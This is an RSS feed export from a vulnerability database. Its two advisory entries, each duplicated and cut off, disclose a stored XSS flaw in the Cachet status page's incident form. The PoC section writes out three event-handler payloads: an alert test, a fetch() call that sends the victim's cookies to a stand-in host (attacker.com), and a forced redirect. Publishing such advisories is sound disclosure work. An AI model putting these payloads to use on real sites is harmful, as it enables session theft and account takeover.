https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 21 Oct 2026 17:39:56 +0000 https://db.gcve.eu/vuln/fkie_cve-2026-113712 <p>Cachet is an open-source status page system. Versions 2.4.1 and earlier have a stored Cross-Site Scripting (XSS) vulnerability in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. Commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2 in `cachethq/core` patch the issue.</p> <p>Cachet is an open-source status page system. Versions 2.4.1 and earlier have a stored Cross-Site Scripting (XSS) vulnerability in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. Commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2 in `cachethq/core` patch the issue.</p> https://db.gcve.eu/vuln/fkie_cve-2026-113712 https://db.gcve.eu/vuln/ghsa-x397-5hrv-j9m9 <p><strong>Affected:</strong> Packagist: cachethq/cachet</p> <p>### Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.</p> <p>### Details The incident Name and Message fields do not properly sanitize HTML event handler attributes. While &lt;script&gt; tags appear to be filtered, event-based payloads are not blocked.</p> <p>Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3</p> <p>### PoC</p> <p>1. Log in as an authenticated user 2. Navigate to /dashboard/incidents/ 3. Create a new incident 4. Insert the following payloads in the Name and Message field:</p> <p>Payload 1 — Confirm XSS execution: ```&lt;img src=x onerror=&#34;alert(1)&#34;&gt;```</p> <p>Step 2 — Cookie/token exfiltration: ```&lt;img src=x onerror=&#34;fetch(&#39;http://attacker.com/leak?c=&#39;+document.cookie)&#34;&gt;```</p> <p>Step 3 — Forced redirect to sensitive page: ```&lt;img src=x onerror=&#34;window.location=&#39;/dashboard/manage-customization&#39;&#34;&gt;```</p> <p>5. Save the incident 6. Navigate to the public status page 7. Payload executes in the victim&#39;s browser ### Payload 1 &lt;img width=&#34;1926&#34; height=&#34;1062&#34; alt=&#34;Screenshot_2026-05-05_21_19_21&#34; src=&#34;https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b&#34; /&gt;</p> <p>### Payload 2 &lt;img width=&#34;1910&#34; height=&#34;525&#34; alt=&#34;Screenshot_2026-05-07_12_22_07&#34; src=&#34;https://github.com/user-attachments/as…</p> <p><strong>Affected:</strong> Packagist: cachethq/cachet</p> <p>### Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.</p> <p>### Details The incident Name and Message fields do not properly sanitize HTML event handler attributes. While &lt;script&gt; tags appear to be filtered, event-based payloads are not blocked.</p> <p>Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3</p> <p>### PoC</p> <p>1. Log in as an authenticated user 2. Navigate to /dashboard/incidents/ 3. Create a new incident 4. Insert the following payloads in the Name and Message field:</p> <p>Payload 1 — Confirm XSS execution: ```&lt;img src=x onerror=&#34;alert(1)&#34;&gt;```</p> <p>Step 2 — Cookie/token exfiltration: ```&lt;img src=x onerror=&#34;fetch(&#39;http://attacker.com/leak?c=&#39;+document.cookie)&#34;&gt;```</p> <p>Step 3 — Forced redirect to sensitive page: ```&lt;img src=x onerror=&#34;window.location=&#39;/dashboard/manage-customization&#39;&#34;&gt;```</p> <p>5. Save the incident 6. Navigate to the public status page 7. Payload executes in the victim&#39;s browser ### Payload 1 &lt;img width=&#34;1926&#34; height=&#34;1062&#34; alt=&#34;Screenshot_2026-05-05_21_19_21&#34; src=&#34;https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b&#34; /&gt;</p> <p>### Payload 2 &lt;img width=&#34;1910&#34; height=&#34;525&#34; alt=&#34;Screenshot_2026-05-07_12_22_07&#34; src=&#34;https://github.com/user-attachments/as…</p> https://db.gcve.eu/vuln/ghsa-x397-5hrv-j9m9